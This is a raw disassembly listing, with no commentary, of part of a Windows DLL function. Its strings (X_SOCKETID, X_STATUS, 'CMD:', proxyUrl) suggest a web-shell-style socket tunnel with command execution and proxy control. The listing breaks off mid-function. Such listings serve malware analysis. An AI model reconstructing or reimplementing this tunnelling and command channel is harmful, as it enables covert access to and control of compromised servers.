lea rdx, [rsp + 0xd40]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x180005a4b
lea ecx, [rax + 0x65]
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
lea ecx, [rax - 0x2733]
cmp ecx, 1
jbe 0x180005a4b
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, ebx
lea rcx, [rsp + 0x1e50]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Socks_connect_error:
lea rcx, [rsp + 0x340]
call fcn.18000cd80
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x1e50]
call fcn.180001c80
nop
lea rcx, [rsp + 0xe30]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb60]
call fcn.180001c80
mov eax, esi
jmp 0x180007a29
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x20f0]
call fcn.1800022a0
mov rbx, rax
lea r8, [0x18004d074]
lea rdx, [rsp + 0xe30]
lea rcx, [rsp + 0x20b0]
call fcn.18000cee0
nop
mov r8, r15
mov rdx, rax
lea rcx, [rsp + 0x2050]
call fcn.18000cfe0
nop
lea r8, str.__ErrNo:
mov rdx, rax
lea rcx, [rsp + 0x2010]
call fcn.18000cfe0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1f70]
call fcn.18000d050
nop
lea r8, [0x18004d064]
mov rdx, rax
lea rcx, [rsp + 0x360]
call fcn.18000cfe0
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x1f70]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2010]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2050]
call fcn.180001c80
nop
lea rcx, [rsp + 0x20b0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x20f0]
call fcn.180001c80
mov rdx, rdi
lea rcx, [rsp + 0x1190]
call fcn.1800022e0
nop
mov rbx, qword [r14]
lea rcx, [rsp + 0x1190]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x11a0]
lea rdx, str.X_SOCKETID
mov rcx, r14
call qword [rbx + 0x28]
nop
lea rcx, [rsp + 0x1190]
call fcn.180001c80
nop
lea rcx, [rsp + 0xe30]
call fcn.180001c80
jmp 0x18000574e
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, rdi
call qword [rax + 0x18]
mov qword [rsp + 0x50], rax
test rax, rax
je case.0x180004e76.106
mov rdx, rax
lea rcx, [rsp + 0x13b0]
call fcn.180001c10
nop
lea rcx, [rsp + 0x13b0]
call fcn.180002220
movsxd rbx, eax
lea rcx, [rsp + 0x13b0]
call fcn.180001c80
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, [0x18004c828]
lea rcx, [rsp + 0x3a0]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb60]
call fcn.180001c80
mov eax, 2
jmp 0x180007a29
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, rdi
call qword [rax + 0x18]
mov r12, rax
mov qword [rsp + 0x50], rax
test rax, rax
je case.0x180004e76.106
mov rdx, rax
lea rcx, [rsp + 0x1490]
call fcn.180001c10
nop
lea rcx, [rsp + 0x1490]
call fcn.180002220
movsxd rsi, eax
lea rcx, [rsp + 0x1490]
call fcn.180001c80
xor edx, edx
mov r8d, 0x1000
lea rcx, [rsp + 0x2150]
call fcn.18001dbc0
lea rcx, [rsp + 0xe10]
call fcn.180001c50
nop
mov ebx, r13d
mov r15d, r13d
nop dword [rax]
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rsp + 0x2150]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
movsxd rdi, eax
cmp edi, 0xffffffff
jne 0x180005e15
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
lea edx, [rax - 0x2733]
cmp edx, 1
jbe 0x180005e03
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, edi
lea rcx, [rsp + 0x17d0]
call fcn.1800022a0
mov rbx, rax
mov rdx, r12
lea rcx, [rsp + 0x17b0]
call fcn.180001c10
nop
mov r8, rax
lea rdx, str.Read_socket_fd__
lea rcx, [rsp + 0x1790]
call fcn.18000cd80
nop
lea r8, str.__error:
mov rdx, rax
lea rcx, [rsp + 0x1770]
call fcn.18000cfe0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x3e0]
call fcn.18000d050
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x1770]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1790]
call fcn.180001c80
nop
lea rcx, [rsp + 0x17b0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x17d0]
call fcn.180001c80
nop
lea rcx, [rsp + 0xe10]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb60]
call fcn.180001c80
mov eax, 2
jmp 0x180007a29
inc ebx
mov ecx, socket
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800060b2
test eax, eax
jle 0x180005e48
mov ebx, r13d
mov r8, rdi
lea rdx, [rsp + 0x2150]
lea rcx, [rsp + 0xe10]
call fcn.1800094a0
inc r15d
cmp edi, 0x1000
jl 0x180005f4d
jmp 0x180005cd0
jne 0x1800060b2
cmp qword [rsp + 0xe20], 0
ja 0x180005f41
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.OVER
lea rcx, [rsp + 0xfd0]
call fcn.180001c10
nop
mov rbx, qword [r14]
lea rcx, [rsp + 0xfd0]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0xfe0]
lea rdx, str.X_STATUS
mov rcx, r14
call qword [rbx + 0x28]
lea rdx, str.DONE
lea rcx, [rsp + 0xfd0]
call fcn.1800095b0
mov rbx, qword [r14]
lea rcx, [rsp + 0xfd0]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0xfe0]
lea rdx, str.X_ERROR
mov rcx, r14
call qword [rbx + 0x28]
nop
lea rcx, [rsp + 0xfd0]
call fcn.180001c80
nop
lea rcx, [rsp + 0xe10]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb60]
call fcn.180001c80
mov eax, 2
jmp 0x180007a29
cmp ebx, 0x5dc
jge 0x1800060be
mov edx, ebx
lea rcx, [rsp + 0x1850]
call fcn.1800022a0
mov rbx, rax
mov edx, r15d
lea rcx, [rsp + 0x1830]
call fcn.1800022a0
nop
lea r8, [0x18004d108]
mov rdx, rax
lea rcx, [rsp + 0x1810]
call fcn.18000cfe0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x400]
call fcn.18000d050
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x1810]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1830]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1850]
call fcn.180001c80
mov rdx, r12
lea rcx, [rsp + 0x11b0]
call fcn.180001c10
nop
mov rbx, qword [r14]
lea rcx, [rsp + 0x11b0]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x11c0]
lea rdx, str.X_SOCKETID
mov rcx, r14
call qword [rbx + 0x28]
lea rax, [rsp + 0x420]
mov qword [rsp + 0x60], rax
lea rdx, str.stream
lea rcx, [rsp + 0x420]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0xe10]
lea rcx, [rsp + 0x440]
call fcn.180009650
nop
xor r9d, r9d
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.180012340
nop
lea rcx, [rsp + 0x11b0]
call fcn.180001c80
nop
lea rcx, [rsp + 0xe10]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb60]
call fcn.180001c80
mov eax, 2
jmp 0x180007a29
cmp ebx, 0x5dc
jl 0x180005cd0
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.OVER
lea rcx, [rsp + 0xfb0]
call fcn.180001c10
nop
mov rbx, qword [r14]
lea rcx, [rsp + 0xfb0]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0xfc0]
lea rdx, str.X_STATUS
mov rcx, r14
call qword [rbx + 0x28]
lea rdx, str.Timeout
lea rcx, [rsp + 0xfb0]
call fcn.1800095b0
mov rbx, qword [r14]
lea rcx, [rsp + 0xfb0]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0xfc0]
lea rdx, str.X_ERROR
mov rcx, r14
call qword [rbx + 0x28]
nop
lea rcx, [rsp + 0xfb0]
call fcn.180001c80
nop
lea rcx, [rsp + 0xe10]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb60]
call fcn.180001c80
mov eax, 2
jmp 0x180007a29
cmp dword [rsp + 0x50], 0
je case.0x180004e76.106
test rsi, rsi
je 0x1800061e3
mov rdx, rsi
lea rcx, [rsp + 0x14b0]
call fcn.180001c10
mov r13d, 8
lea rdx, [rsp + 0x14b0]
call fcn.180008a10
test rax, rax
je 0x1800061e8
test r15d, r15d
je 0x1800061e8
xor bl, bl
jmp 0x1800061ea
mov r13d, dword [rsp + 0x68]
mov bl, 1
test r13b, 8
je 0x180006201
and r13d, 0xfffffff7
lea rcx, [rsp + 0x14b0]
call fcn.180001c80
test bl, bl
jne case.0x180004e76.106
mov rdx, rdi
lea rcx, [rsp + 0xc00]
call fcn.1800125f0
nop
mov rdx, rsi
lea rcx, [rsp + 0x14d0]
call fcn.180001c10
nop
lea rdx, [rsp + 0x14d0]
call fcn.180008aa0
mov ebx, dword [rax]
lea rcx, [rsp + 0x14d0]
call fcn.180001c80
add ebx, 0xffffff9c
cmp ebx, 0xf
ja case.0x180006267.102
movsxd rax, ebx
lea rcx, [0x180000000]
mov eax, dword [rcx + rax*4 + 0x7a98]
add rax, rcx
jmp rax
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0x1910]
call fcn.180015030
nop
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.1800129f0
nop
lea rcx, [rsp + 0x1910]
call fcn.180001c80
lea rcx, [rsp + 0x1070]
call fcn.180001c50
nop
lea rdx, [0x18004d10c]
lea rcx, [rsp + 0x14f0]
call fcn.180001c10
lea r8, [rsp + 0x14f0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xb8]
call fcn.1800088a0
lea rcx, [rsp + 0x14f0]
call fcn.180001c80
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x280], rax
mov rdx, qword [rsp + 0x50]
cmp rdx, rax
je 0x180006311
add rdx, 0x40
lea rcx, [rsp + 0x1070]
call fcn.1800095d0
lea rdx, str.timeout
lea rcx, [rsp + 0x1510]
call fcn.180001c10
lea r8, [rsp + 0x1510]
lea rdx, [rsp + 0x278]
lea rcx, [rsp + 0xb8]
call fcn.1800088a0
mov rbx, qword [rax]
lea rcx, [rsp + 0x1510]
call fcn.180001c80
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x2a0], rax
cmp rbx, rax
je 0x18000637f
lea rcx, [rbx + 0x40]
call fcn.180002220
mov r12d, eax
jmp 0x18000637f
cmp qword [rsp + 0x1080], 0
je 0x18000646c
lea rax, [rsp + 0x480]
mov qword [rsp + 0x40], rax
lea rdx, str.plain
lea rcx, [rsp + 0x480]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1070]
lea rcx, [rsp + 0x1990]
call fcn.1800154e0
nop
imul r8d, r12d, 0x3e8
mov rdx, rax
lea rcx, [rsp + 0x1970]
call fcn.180017c50
nop
mov rdx, rax
lea rcx, [rsp + 0x4a0]
call fcn.180015030
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.180012340
nop
lea rcx, [rsp + 0x1970]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1990]
call fcn.1800092b0
lea rdx, [0x18004c828]
lea rcx, [rsp + 0x4c0]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x1070]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb8]
call fcn.180007ae0
nop
lea rcx, [rsp + 0xc00]
jmp 0x1800053d7
lea rcx, [rsp + 0x1070]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb8]
jmp 0x1800079ea
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0x19d0]
call fcn.180015030
nop
mov rdx, rax
lea rcx, [rsp + 0xa8]
call fcn.1800129f0
nop
lea rcx, [rsp + 0x19d0]
call fcn.180001c80
lea rcx, [rsp + 0x1090]
call fcn.180001c50
nop
lea rdx, [0x18004d10c]
lea rcx, [rsp + 0x1530]
call fcn.180001c10
lea r8, [rsp + 0x1530]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xa8]
call fcn.1800088a0
lea rcx, [rsp + 0x1530]
call fcn.180001c80
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x270], rax
mov rdx, qword [rsp + 0x50]
cmp rdx, rax
je 0x18000652f
add rdx, 0x40
lea rcx, [rsp + 0x1090]
call fcn.1800095d0
lea rdx, str.timeout
lea rcx, [rsp + 0x1550]
call fcn.180001c10
lea r8, [rsp + 0x1550]
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0xa8]
call fcn.1800088a0
mov rbx, qword [rax]
lea rcx, [rsp + 0x1550]
call fcn.180001c80
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x2c8], rax
cmp rbx, rax
je 0x18000659d
lea rcx, [rbx + 0x40]
call fcn.180002220
mov r12d, eax
jmp 0x18000659d
cmp qword [rsp + 0x10a0], 0
je 0x1800066c2
lea rcx, [rsp + 0x11d0]
call fcn.180001c50
nop
lea r8, [rsp + 0x1090]
lea rdx, str.CMD:
lea rcx, [rsp + 0x1a10]
call fcn.18000cc80
nop
mov rdx, rax
lea rcx, [rsp + 0x19f0]
call fcn.180015030
nop
imul r8d, r12d, 0x3e8
lea rdx, [rsp + 0x11d0]
mov rcx, rax
call fcn.180017930
nop
lea rcx, [rsp + 0x19f0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1a10]
call fcn.180001c80
lea rax, [rsp + 0x7a0]
mov qword [rsp + 0x40], rax
lea rdx, str.plain
lea rcx, [rsp + 0x7a0]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x11d0]
lea rcx, [rsp + 0x4e0]
call fcn.180009650
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.180012340
lea rdx, [0x18004c828]
lea rcx, [rsp + 0x500]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x11d0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1090]
call fcn.180001c80
nop
lea rcx, [rsp + 0xa8]
call fcn.180007ae0
nop
lea rcx, [rsp + 0xc00]
jmp 0x1800053d7
lea rcx, [rsp + 0x1090]
call fcn.180001c80
nop
lea rcx, [rsp + 0xa8]
jmp 0x1800079ea
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0x1a90]
call fcn.180015030
nop
mov rdx, rax
lea rcx, [rsp + 0x140]
call fcn.1800129f0
nop
lea rcx, [rsp + 0x1a90]
call fcn.180001c80
lea rcx, [rsp + 0x1b50]
call fcn.1800093a0
nop
lea rdx, str.proxyEnable
lea rcx, [rsp + 0x1570]
call fcn.180001c10
lea r8, [rsp + 0x1570]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x140]
call fcn.1800088a0
lea rcx, [rsp + 0x1570]
call fcn.180001c80
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x2c0], rax
mov rbx, qword [rsp + 0x40]
cmp rbx, rax
je 0x18000699e
lea rcx, [rbx + 0x40]
lea rdx, [0x18004d12c]
call fcn.18000d0f0
test al, al
je 0x18000688b
mov byte [0x180057a18], 0
lea rdx, [0x18004d130]
lea rcx, [rsp + 0x15d0]
call fcn.180009360
nop
lea rdx, str.enableProxy
lea rcx, [rsp + 0x15b0]
call fcn.180009360
nop
lea rdx, str.Common
lea rcx, [rsp + 0x1590]
call fcn.180009360
nop
lea r8, [rsp + 0x15d0]
lea rdx, [rsp + 0x15b0]
lea rcx, [rsp + 0x1590]
call fcn.180017830
nop
lea rcx, [rsp + 0x1590]
call fcn.1800092b0
nop
lea rcx, [rsp + 0x15b0]
call fcn.1800092b0
nop
lea rcx, [rsp + 0x15d0]
call fcn.1800092b0
lea rax, [rsp + 0x520]
mov qword [rsp + 0x40], rax
lea rdx, str.Disabled_Proxy
lea rcx, [rsp + 0x15f0]
call fcn.180001c10
nop
lea rdx, str.plain
lea rcx, [rsp + 0x520]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x15f0]
lea rcx, [rsp + 0x540]
call fcn.180015030
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.180012340
nop
lea rcx, [rsp + 0x15f0]
jmp 0x180006999
lea rcx, [rbx + 0x40]
lea rdx, [0x18004d170]
call fcn.18000d0f0
test al, al
je 0x18000699e
mov byte [0x180057a18], 1
lea rdx, [0x18004d174]
lea rcx, [rsp + 0x1650]
call fcn.180009360
nop
lea rdx, str.enableProxy
lea rcx, [rsp + 0x1630]
call fcn.180009360
nop
lea rdx, str.Common
lea rcx, [rsp + 0x1610]
call fcn.180009360
nop
lea r8, [rsp + 0x1650]
lea rdx, [rsp + 0x1630]
lea rcx, [rsp + 0x1610]
call fcn.180017830
nop
lea rcx, [rsp + 0x1610]
call fcn.1800092b0
nop
lea rcx, [rsp + 0x1630]
call fcn.1800092b0
nop
lea rcx, [rsp + 0x1650]
call fcn.1800092b0
lea rax, [rsp + 0x560]
mov qword [rsp + 0x40], rax
lea rdx, str.Enabled_Proxy
lea rcx, [rsp + 0x1670]
call fcn.180001c10
nop
lea rdx, str.plain
lea rcx, [rsp + 0x560]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1670]
lea rcx, [rsp + 0x580]
call fcn.180015030
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.180012340
nop
lea rcx, [rsp + 0x1670]
call fcn.180001c80
lea rdx, [0x18004c828]
lea rcx, [rsp + 0x5a0]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x1b50]
call fcn.1800092b0
nop
lea rcx, [rsp + 0x140]
call fcn.180007ae0
nop
lea rcx, [rsp + 0xc00]
jmp 0x1800053d7
call fcn.180015b40
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0x1b70]
call fcn.180015030
nop
mov rdx, rax
lea rcx, [rsp + 0x98]
call fcn.1800129f0
nop
lea rcx, [rsp + 0x1b70]
call fcn.180001c80
lea rcx, [rsp + 0xd20]
call fcn.1800093a0
nop
lea rcx, [rsp + 0x100]
call fcn.180009210
nop
lea rdx, str.proxyPath
lea rcx, [rsp + 0x1210]
call fcn.180001c10
lea r8, [rsp + 0x1210]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x98]
call fcn.1800088a0
lea rcx, [rsp + 0x1210]
call fcn.180001c80
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x2b8], rax
mov rbx, qword [rsp + 0x40]
cmp rbx, rax
je 0x180006b0e
lea rdx, [0x18004d194]
lea rcx, [rsp + 0x1230]
call fcn.180009360
nop
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x1b90]
call fcn.1800154e0
nop
lea r8, [rsp + 0x1230]
mov rdx, rax
lea rcx, [rsp + 0x2d0]
call fcn.180015100
mov rdx, rax
lea rcx, [rsp + 0x100]
call fcn.180009140
lea rcx, [rsp + 0x2d0]
call fcn.1800090a0
nop
lea rcx, [rsp + 0x1b90]
call fcn.1800092b0
nop
lea rcx, [rsp + 0x1230]
call fcn.1800092b0
lea rdx, str.proxyUrl
lea rcx, [rsp + 0x1250]
call fcn.180001c10
lea r8, [rsp + 0x1250]
lea rdx, [rsp + 0x268]
lea rcx, [rsp + 0x98]
call fcn.1800088a0
mov rbx, qword [rax]
lea rcx, [rsp + 0x1250]
call fcn.180001c80
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x298], rax
cmp rbx, rax
je 0x180006c1b
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x1bb0]
call fcn.1800154e0
mov rdx, rax
lea rcx, [rsp + 0xd20]
call fcn.1800092f0
lea rcx, [rsp + 0x1bb0]
call fcn.1800092b0
mov eax, dword [rsp + 0xd30]
dec eax
movsxd rdi, eax
mov r9d, 1
mov r8, rdi
lea rdx, [rsp + 0x1bd0]
lea rcx, [rsp + 0xd20]
call fcn.180009230
lea rdx, [0x18004d1a4]
mov rcx, rax
call fcn.18000d140
movzx ebx, al
lea rcx, [rsp + 0x1bd0]
call fcn.1800092b0
test bl, bl
je 0x180006c1b
mov r9, rdi
xor r8d, r8d
lea rdx, [rsp + 0x1bf0]
lea rcx, [rsp + 0xd20]
call fcn.180009230
mov rdx, rax
lea rcx, [rsp + 0xd20]
call fcn.1800092f0
lea rcx, [rsp + 0x1bf0]
call fcn.1800092b0
mov rcx, qword [rsp + 0x108]
mov rax, rcx
mov rbx, qword [rsp + 0x100]
sub rax, rbx
sar rax, 5
test rax, rax
je 0x180006e3a
cmp qword [rsp + 0xd30], 0
je 0x180006e3a
mov qword [rsp + 0x130], rcx
cmp rbx, rcx
je 0x180006d7c
nop
mov rdx, rbx
lea rcx, [rsp + 0xdb0]
call fcn.1800093c0
nop
cmp qword [rsp + 0xdc0], 0
je 0x180006d52
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x1c10]
lea rcx, [rsp + 0xdb0]
call fcn.180009230
mov rcx, rax
call fcn.18000d1b0
movzx edi, al
lea rcx, [rsp + 0x1c10]
call fcn.1800092b0
test dil, dil
je 0x180006cf4
lea r8, [rsp + 0xdb0]
lea rdx, [0x18004d1a4]
lea rcx, [rsp + 0x1c30]
call fcn.18000d220
mov rdx, rax
lea rcx, [rsp + 0xdb0]
call fcn.1800092f0
lea rcx, [rsp + 0x1c30]
call fcn.1800092b0
lea rdx, [rsp + 0xdb0]
call fcn.180009040
mov rcx, rax
lea rdx, [rsp + 0xd20]
call fcn.180009280
lea rdx, str.Proxy
lea rcx, [rsp + 0x1270]
call fcn.180009360
nop
lea r8, [rsp + 0xd20]
lea rdx, [rsp + 0xdb0]
lea rcx, [rsp + 0x1270]
call fcn.180017830
nop
lea rcx, [rsp + 0x1270]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xdb0]
call fcn.1800092b0
add rbx, 0x20
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x130], rax
cmp rbx, rax
jne 0x180006c60
lea rax, [rsp + 0x5c0]
mov qword [rsp + 0x40], rax
lea rdx, str.plain
lea rcx, [rsp + 0x5c0]
call fcn.180001c10
mov rbx, rax
lea rcx, [rsp + 0x1c90]
call fcn.180015700
nop
mov rdx, rax
lea rcx, [rsp + 0x5e0]
call fcn.180015030
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.180012340
nop
lea rcx, [rsp + 0x1c90]
call fcn.180001c80
lea rdx, [0x18004c828]
lea rcx, [rsp + 0x620]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x100]
call fcn.1800090a0
nop
lea rcx, [rsp + 0xd20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0x98]
call fcn.180007ae0
nop
lea rcx, [rsp + 0xc00]
jmp 0x1800053d7
lea rcx, [rsp + 0x100]
call fcn.1800090a0
nop
lea rcx, [rsp + 0xd20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0x98]
jmp 0x1800079ea
call fcn.180015b40
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0x1cd0]
call fcn.180015030
nop
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.1800129f0
nop
lea rcx, [rsp + 0x1cd0]
call fcn.180001c80
lea rcx, [rsp + 0xe8]
call fcn.180009210
nop
lea rdx, str.proxyPath
lea rcx, [rsp + 0x1290]
call fcn.180001c10
lea r8, [rsp + 0x1290]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xd8]
call fcn.1800088a0
lea rcx, [rsp + 0x1290]
call fcn.180001c80
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x2a8], rax
mov rbx, qword [rsp + 0x40]
cmp rbx, rax
je 0x180006f77
lea rdx, [0x18004d194]
lea rcx, [rsp + 0x12b0]
call fcn.180009360
nop
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x1cf0]
call fcn.1800154e0
nop
lea r8, [rsp + 0x12b0]
mov rdx, rax
lea rcx, [rsp + 0x2e8]
call fcn.180015100
mov rdx, rax
lea rcx, [rsp + 0xe8]
call fcn.180009140
lea rcx, [rsp + 0x2e8]
call fcn.1800090a0
nop
lea rcx, [rsp + 0x1cf0]
call fcn.1800092b0
nop
lea rcx, [rsp + 0x12b0]
call fcn.1800092b0
mov rcx, qword [rsp + 0xf0]
mov rax, rcx
mov rbx, qword [rsp + 0xe8]
sub rax, rbx
sar rax, 5
test rax, rax
je 0x180007164
mov qword [rsp + 0x138], rcx
cmp rbx, rcx
je 0x1800070b4
nop dword [rax + rax]
mov rdx, rbx
lea rcx, [rsp + 0xdd0]
call fcn.1800093c0
nop
cmp qword [rsp + 0xde0], 0
je 0x18000708a
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x1d10]
lea rcx, [rsp + 0xdd0]
call fcn.180009230
mov rcx, rax
call fcn.18000d1b0
movzx edi, al
lea rcx, [rsp + 0x1d10]
call fcn.1800092b0
test dil, dil
je 0x180007044
lea r8, [rsp + 0xdd0]
lea rdx, [0x18004d1a4]
lea rcx, [rsp + 0x1d30]
call fcn.18000d220
mov rdx, rax
lea rcx, [rsp + 0xdd0]
call fcn.1800092f0
lea rcx, [rsp + 0x1d30]
call fcn.1800092b0
lea rdx, [rsp + 0xdd0]
call fcn.180009000
lea rdx, str.Proxy
lea rcx, [rsp + 0x12d0]
call fcn.180009360
nop
lea rdx, [rsp + 0xdd0]
lea rcx, [rsp + 0x12d0]
call fcn.180017740
nop
lea rcx, [rsp + 0x12d0]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xdd0]
call fcn.1800092b0
add rbx, 0x20
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x138], rax
cmp rbx, rax
jne 0x180006fb0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x40], rax
lea rdx, str.plain
lea rcx, [rsp + 0x640]
call fcn.180001c10
mov rbx, rax
lea rcx, [rsp + 0x1d90]
call fcn.180015700
nop
mov rdx, rax
lea rcx, [rsp + 0x660]
call fcn.180015030
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.180012340
nop
lea rcx, [rsp + 0x1d90]
call fcn.180001c80
lea rdx, [0x18004c828]
lea rcx, [rsp + 0x680]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0xe8]
call fcn.1800090a0
nop
lea rcx, [rsp + 0xd8]
call fcn.180007ae0
nop
lea rcx, [rsp + 0xc00]
jmp 0x1800053d7
lea rcx, [rsp + 0xe8]
call fcn.1800090a0
nop
lea rcx, [rsp + 0xd8]
jmp 0x1800079ea
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0x1dd0]
call fcn.180015030
nop
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.1800129f0
nop
lea rcx, [rsp + 0x1dd0]
call fcn.180001c80
lea rdx, str.timeout
lea rcx, [rsp + 0x12f0]
call fcn.180001c10
lea r8, [rsp + 0x12f0]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xc8]
call fcn.1800088a0
lea rcx, [rsp + 0x12f0]
call fcn.180001c80
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x2b0], rax
mov rcx, qword [rsp + 0x40]
cmp rcx, rax
je 0x18000739e
add rcx, 0x40
call fcn.180002220
nop
test eax, eax
jne 0x1800072e6
xor eax, eax
mov dword [0x180059a08], eax
lea rdx, [0x18004d1a8]
lea rcx, [rsp + 0x1330]
call fcn.180009360
nop
lea rdx, str.Common
lea rcx, [rsp + 0x1310]
call fcn.180009360
nop
mov edx, dword [0x180059a08]
lea rcx, [rsp + 0x1df0]
